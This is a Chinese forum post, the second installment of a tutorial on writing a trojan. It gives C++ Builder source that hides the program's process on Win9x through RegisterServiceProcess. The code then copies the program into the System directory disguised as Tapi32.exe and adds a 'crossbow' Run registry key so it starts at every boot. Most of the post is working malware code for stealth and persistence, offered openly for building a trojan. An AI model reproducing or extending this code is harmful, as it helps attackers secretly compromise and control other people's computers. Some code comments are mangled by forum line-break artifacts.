返回列表 发帖

木马是如何编写的(一)(2)

首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定/义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加/载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"Re
gisterServiceProcess");
file://得/到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执/行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸/载动态链接库
}
}
  这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因
为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代
码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%Sys
tem%目录下,例如:
C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定/义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath/是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的
System目录路径
SystemPath=AnsiString(TempPath);
file://格/式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str()
,FALSE);
file://将/自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定/义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
file://设/置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打/开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在
,就创建之
try
{
file://如/果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查/找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi3
2.exe
file://如/果不是,就写入以上键值和内容
}
catch(...)
{
file://如/果有错误,什么也不做
}
}
  好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“
关闭程序”对话框中看不见本进程了,木马的雏形初现。

返回列表 回复 发帖